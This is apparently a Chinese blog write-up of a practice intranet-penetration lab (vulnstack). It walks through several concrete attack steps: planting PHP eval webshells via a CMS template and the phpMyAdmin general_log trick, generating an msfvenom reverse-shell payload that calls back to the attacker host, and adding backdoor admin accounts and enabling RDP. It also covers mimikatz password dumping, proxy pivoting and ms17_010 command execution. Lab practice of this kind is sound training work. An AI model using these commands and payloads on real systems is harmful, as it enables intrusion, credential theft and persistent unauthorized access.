一、環境搭建
1.1環境搭建測試
最近想要開始學習內網滲透,搜集了一些教程,准備先實驗一個vulnstack靶機,熟悉一下內網滲透操作再學習基礎知識。
靶場下載地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
壓縮包中的win7為VM1,win2003為VM2,win2008為VM3,拓撲圖如下所示:
kali設置成NAT模式,win7網絡適配器1設置成自定義(VMnet1僅主機模式),網絡適配器2設置成NAT模式,win2003、win2008 網絡適配器設置成自定義(VMnet1僅主機模式)。主機默認開機密碼都是hongrisec@2019,手動在win7的c盤下開啟phpstudy。
設置完畢后VM1、VM2、VM3就在同一內網中了,只有VM1web服務器能夠訪問內網,所以要想訪問win2008和win2003服務器必須要先拿下win7服務器,用它做跳板進內網進行橫向滲透。
登錄就要修改密碼,在這記錄一下改成 shashihoukaixuea2020!(萬一哪天又翻出來玩呢)
攻擊機:kali ip:192.168.136.128 / 物理機 ip:192.168.136.1
win7 內網ip:192.168.52.143 外網ip:192.168.136.129
win2003 ip:192.168.52.141
win2008 ip:192.168.52.138
1.2信息收集
nmap掃一下可以看到win7開放了80端口,訪問一下得知是yxcms,百度下關於yxcms的漏洞 https://www.freebuf.com/column/162886.html 都是需要后台才可以getshell的
二、漏洞利用(兩種getshell方式)
2.1yxcms后台getshell
打開默認后台 http://192.168.136.129/yxcms//index.php?r=admin/index/login 爆破一下,admin 123456 登進后台。
在前台模板->管理模板文件->index_index.php處編輯,插入一句話木馬(物理主機訪問虛擬機時不用代理)
蟻劍連接即可獲得shell(蟻劍不用代理)
2.2phpmyadmin后台getshell
此時先不往下進行,既然是靶機,就多去嘗試一下發掘它其他的漏洞,掃描一下目錄,發現有phpmyadmin,root/root成功登陸。
用開啟全局日志的方式getshell,在SQL語句部分執行這兩條命令:
set global general_log=on;# 開啟日志 set global general_log_file='C:/phpstudy/www/yxcms/v01cano.php';# 設置日志位置為網站目錄
然后 SHOW VARIABLES LIKE '%general%' 查看一下,命令成功執行
此時執行 select "<?php eval($_POST[apple]);?>"; 語句即可getshell
三、內網滲透
3.1嘗試遠程登錄
查看當前用戶權限,因為一般拿下window的話都會嘗試去連接它的遠程桌面,所以再查看一下3389端口開放情況
沒有回顯,即3389並沒有開啟,我們使用以下命令開啟它(win7、win2003、winxp),運行后顯示3389端口已經成功開啟(關閉命令把如下0都換成1):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
添加用戶
net user test @!FuckSEC!@ /add # 添加賬戶密碼 net localgroup administrators test /add # 給test賬戶添加為管理員權限 net user test # 查詢是否成功添加test用戶
使用賬號:test,密碼:@!FuckSEC!@ 登錄遠程桌面。但是登陸失敗,nmap掃描3389端口發現狀態為filtered。查看win7,防火牆開啟了阻止所有與未在允許程序列表中的程序的連接,換句話說,設置了白名單,只能本地連接。
此時思路一般如下:
1.反彈一個msf的shell回來,嘗試關閉防火牆
2.嘗試使用隧道連接3389
因為是打靶機,練習為主,兩種方式都嘗試一下
3.2msf反彈shell
嘗試第一種方式反彈一個msf的shell。msf生成shell.exe,用phpmyadmin獲得的shell上傳至win2003,再在msf設置監聽,在蟻劍上執行shell.exe,可以看到msf成功獲得一個meterpreter
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=4444 -f exe > shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes
嘗試基礎提權成功,關閉目標機防火牆(不用提權也可以關防火牆),此時便可以成功連接目標主機了
3.3使用隧道連接3389
嘗試第二種方式連接3389,在Sunny-Ngrok的官網 https://www.ngrok.cc/ 注冊一個賬號(可以通過這個軟件實現使用外鏈訪問電腦本地項目的功能),登錄之后選擇隧道管理->開通隧道->選擇一個服務器(frp或者ngrok)->開通隧道並獲得一個隧道id->下載客戶端->打開客戶端啟動工具->輸入隧道id->本地遠程登錄。
開通隧道時隧道名稱隨意寫,本地端口寫想要轉發出去的計算機ip及端口(可以為局域網內任意機器映射,這里填入想要轉發的win7的ip及端口)
打開Sunny-Ngrok啟動工具,輸入隧道id,顯示成功連接
本地填入域名端口遠程連接,可以成功登陸,關閉防火牆(Sunny-Ngrok啟動工具需要一直開着)
因為遠程登錄會斷開該主機當前的連接,為了不驚動管理員,這里不遠程登錄了
3.4mimikatz獲取賬號密碼
加載mimikatz模塊,加載模塊前需要先將meterpreter遷移到64位的進程,而且該進程也需要是system權限運行的
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
ps命令查看進程ID,一般選擇explorer.exe對應的PID,但是這里它不是system權限,選擇注入其他合法進程
成功獲得賬號 Administrator 密碼 shashihoukaixuea2020!
3.5派生CobaltStrike權限
cs相關操作的筆記寫在 https://www.cnblogs.com/wkzb/p/12431487.html 我的另一篇博客
(因為這個靶機不是一口氣做完的,網絡環境變化,這里截圖win7的ip是192.168.136.130)
3.6域信息收集
滲透測試的本質是信息收集,先記錄一些常用命令
net time /domain #查看時間服務器,判斷主域,主域服務器都做時間服務器 net user /domain #查看域用戶 net view /domain #查看有幾個域 ipconfig /all #查詢本機IP段,所在域等 net config Workstation #當前計算機名,全名,用戶名,系統版本,工作站域,登陸域 net user #本機用戶列表 net group "domain computers" /domain #查看域內所有的主機名 net group "domain admins" /domain #查看域管理員 net group "domain controllers" /domain #查看域控 net localgroup administrators #本機管理員[通常含有域用戶] net user 用戶名 /domain #獲取指定用戶的賬戶信息 net group /domain #查詢域里面的工作組 net group 組名 /domain #查詢域中的某工作組
ipconfig /all看到有內網ip,有域
查詢域列表
查詢同域機器
判斷主域
查詢域用戶
一些命令在msf的shell沒能成功執行,但在cs下可以,補充一下信息
查詢當前計算機名、計算機全名、用戶名、工作站、軟件版本、工作站域、工作站域 DNS 名稱、登錄域
顯示當前域中的計算機列表(owa的ip是192.168.52.138,還不清楚為什么顯示這個ip,可能是環境配置的問題)
整理一下信息
域:god.org
域內有三個用戶:Administrator、ligang、liukaifeng01
域內三台主機:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA
域控:OWA(192.168.52.138)
win7內網ip:192.168.52.143
四、橫向移動
4.1添加路由、掛Socks4a代理
添加路由的目的是為了讓MSF其他模塊能訪問內網的其他主機,即52網段的攻擊流量都通過已滲透的這台目標主機的meterpreter會話來傳遞
添加socks4a代理的目的是為了讓其他軟件更方便的訪問到內網的其他主機的服務
(添加路由一定要在掛代理之前,因為代理需要用到路由功能)
添加內網路由
arp -a查看一下所有接口的當前 ARP 緩存表
設置代理,設置成功后打開其他程序需前加上proxychains
msf > use auxiliary/server/socks4a #添加socks4a代理 msf auxiliary(server/socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 9999 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(server/socks4a) > set srvport 1080#設置端口 srvport => 1080 msf auxiliary(server/socks4a) > run
然后打開/etc/proxychains.conf(本應該把代理信息加到最后一行,但是嘗試幾次都不能成功代理,就只好修改這一行信息了,原始端口是9050,改為我們設置的1080)
測試一下可以成功訪問192.168.52.0網段
4.2拿下第二台主機
掃描一下VM2(192.168.52.141)proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141
開放了445端口,所以利用 use auxiliary/scanner/smb/smb_version 可以掃描系統版本,掃描結果是win2003
ms08-067沒打下來,可以用 use auxiliary/admin/smb/ms17_010_command 執行一些系統權限的命令,添加管理員用戶嘗試3389登錄(先開啟win2003的server服務,因為靶機一些服務沒有做自啟動,所以作者的漏洞列表有一些漏洞無法利用)
use auxiliary/admin/smb/ms17_010_command show options set rhosts 192.168.52.141 set command net user test @!FuckSEC!@ /add #添加用戶 run #成功執行 set command net localgroup administrators test /add #管理員權限 run #成功執行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run #成功執行
這里特別注意,因為開啟3389端口命令中有兩個雙引號,如果整條命令外面不用單引號擴一下或者用雙引號擴了,會出現一些符號閉合上的問題(困擾了一陣,問楊學長才想到問題可能出在哪)
然后使用proxychains連接他的3389 proxychains rdesktop 192.168.52.141
4.3拿下域控
域控的ip是192.168.52.138,掃描下版本是win2008
wmi拿下域控
(不會的東西太多啦,先去學一下基礎,再來填這篇文章的幾個坑)
參考:
https://blog.csdn.net/rlenew/article/details/104456386
https://www.anquanke.com/post/id/189940
https://blog.csdn.net/i_dont_know_a/article/details/80524362